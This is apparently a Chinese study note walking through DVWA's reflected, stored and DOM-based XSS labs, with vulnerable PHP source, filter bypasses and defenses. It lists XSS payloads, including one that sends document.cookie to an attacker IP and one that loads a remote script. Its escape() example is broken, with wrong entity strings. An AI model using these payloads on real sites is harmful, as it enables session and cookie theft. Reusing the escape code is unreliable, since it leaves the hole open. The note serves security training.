XSS
# Reflected Cross Site Scripting (XSS)
反射型XSS
恶意代码并没有保存在目标网站,通过**引诱用户点击一个恶意链接**来实施攻击的;
攻击步骤:
1. 攻击者构造含有恶意代码的 URL,诱导用户点击
2. 用户点击 URL 后,向服务器发起请求,服务器将恶意代码从URL中取出,拼接在 HTML里返回给浏览器
3. 用户浏览器接收到响应后,直接执行恶意代码
4. 恶意代码窃取用户数据发送给攻击者或者在当前浏览器上,利用用户数据,直接冒充用户行为,调用目标网站接口完成攻击者的指定操作。
/image-20210511223110340.png)
### 【low】
```php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
```
`array_key_exists ` 检查数组里是否有指定的键名或索引
用户输入`name`参数,返回含有name的`js页面`
直接在空白框里输入:
payload:
```javascript
<script>alert('xss')</script>
```
`<body οnlοad=alert('XSS1')>`
`<a href=http://192.168.37.128>登录</a>`
` <img src=http://192.168.37.128/a.jpg οnerrοr=alert('XSS2')>`
`<a href='' οnclick=alert('XSS3')>点击</a>`
`<script>window.location="http://www.baidu.com"</script>`
`<script>window.location="http://192.168.37.128"</script>`**重定向到192.168.37.128**
`<iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>`**# 访问192.168.37.128/a.jpg**
**获取cookie**
`<script>new Image().src="http://192.168.37.131/c.php?output="+document.cookie;</script>`
`<script>alert(document.cookie)</script>`
` <script src='http://192.168.37.131/a.js'></script>`
**步骤:**
1. 制作一个js脚本;
\2. 把js脚本放到www目录下;
\3. 开启阿帕奇服务;
\4. 监听端口;
\5. 访问js脚本;
6. 获取到js脚本实现的结果;
### 【medium】
```php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
增加了字符串替换
绕过方法:
1、大小写
2、嵌入绕过,可以将script嵌入到中,例如`<scr<script>ipt>`
### 【High】
```php
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
```
添加了对script的限制——正则表达式
`<body οnlοad=alert('XSS1')>`
`htmlspecialchars 函数` 对用户输入进行编码(转换为html实体)
# Stored Cross Site Scripting (XSS)
存储型XSS
条件:
长期存储于服务器端;
每次用户访问都会执行脚本代码;
##### 获取被攻击者的cookie
/image-20210511220844481.png)
攻击步骤:
1. 黑客首先向服务器发送js脚本;
2. 服务器返回含有js脚本的页面;并将该页面存储在目标网站的数据库上;
3. 当用户访问服务器时,服务器返回存储的js页面;
4. 黑客接收到被攻击方的cookie;
5. 恶意代码窃取用户数据发送给攻击者或者在当前浏览器上,利用用户数据,直接冒充用户行为,调用目标网站接口完成攻击者的指定操作。
/image-20210512223552420.png)
### 【low】
```php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
```
`trim(string,charlist)` 函数移除字符串两侧的空白字符或其他预定义字符,<u>预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。</u>
`mysql_real_escape_string(string,connection) `函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。
`stripslashes(string)` 函数删除字符串中的反斜杠。
#### 【漏洞原理】
可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。
#### 【漏洞利用】
```javascript
<script>alert(/xss)</script>
```
```javascript
<script>alert(document.domain)</script>
```
` <body οnlοad=alert('XSS1')>`
**输入 [登录](http://192.168.37.128)**
`<a href=http://192.168.37.128>登录</a>`
`<img src=http://192.168.37.128/a.jpg οnerrοr=alert('XSS2')>`
`<a href='' οnclick=alert('XSS3')>点击</a>`
重定向
`<script>window.location="http://www.baidu.com"</script>`
### 【medium】
```php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
```
```
$message = strip_tags( addslashes( $message ) );
```
过滤掉mysql中的字符
```
$message = htmlspecialchars( $message );
```
使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
```
$name = str_replace( '<script>', '', $name );
```
使用str_replace函数将输入中的<script>删除,把script脚本当做字符串来处理;
#### 【漏洞利用】
大小写
嵌套
```php
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
```
# DOM Based Cross Site Scripting (XSS)
跨站脚本攻击 先绕过网站的过滤规则
利用的是用户对指定网站的信任,
1.在页面中注入恶意的脚本代码
2.窃取网页浏览中的cookie值,为接下来的CSRF做准备
3.劫持流量实现恶意跳转
4.注入脚本获得其他信息
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
防范手段:
1、对敏感字符做转义,如下:
```js
function escape(str) {
str = str.replace(/&/g, "&");
str = str.replace(/</g, "<");
str = str.replace(/>/g, ">");
str = str.replace(/"/g, "&quto;");
str = str.replace(/'/g, "&##39;");
str = str.replace(/`/g, "&##96;");
str = str.replace(/\//g, "&##x2F;");
return str
}
```
2、CSP
3、过滤诸如`<script>`,`<img>`,`<a>` 标签
3、为防止cookie盗用,我们还可以在Http响应头设置`HttpOnly`
关于三种XSS类型的流程
1.DOM型(基于DOM树)
代码 -> 浏览器(js)
DOM 型攻击的特殊之处在于它是利用 JS 的 `document.write` 、`document.innerHTML` 等函数进行 “HTML注入”
2.反射性型
代码 -> 浏览器 ->php -> 浏览器
3.存储性型
代码->浏览器->PHP->数据库->php->浏览器
攻击步骤:
1. 类似反射型 XSS。攻击者构造含有恶意代码的 URL,诱导用户点击
2. 用户点击后,此时没有向服务器发起请求,而是被前端的 Javascript 直接取出 URL 中的恶意代码并执行
3. 恶意代码窃取用户数据发送给攻击者或者在当前浏览器上,利用用户数据,直接冒充用户行为,调用目标网站接口完成攻击者的指定操作。
#### 【low】
```php
<?php
# No protections, anything goes 没有保护 什么都没有
?>
```
服务器端没有任何php代码,查看前端页面源代码,<u>处理用户输入的只有前端的js代码(Firefox中按F12在控制台中查看):</u>
在/dvwa/vulnerabilities/xss_d/?default=English中直接将English改为`alert('xss')`
`alert()`显示带有一条指定消息和一个 OK 按钮的警告框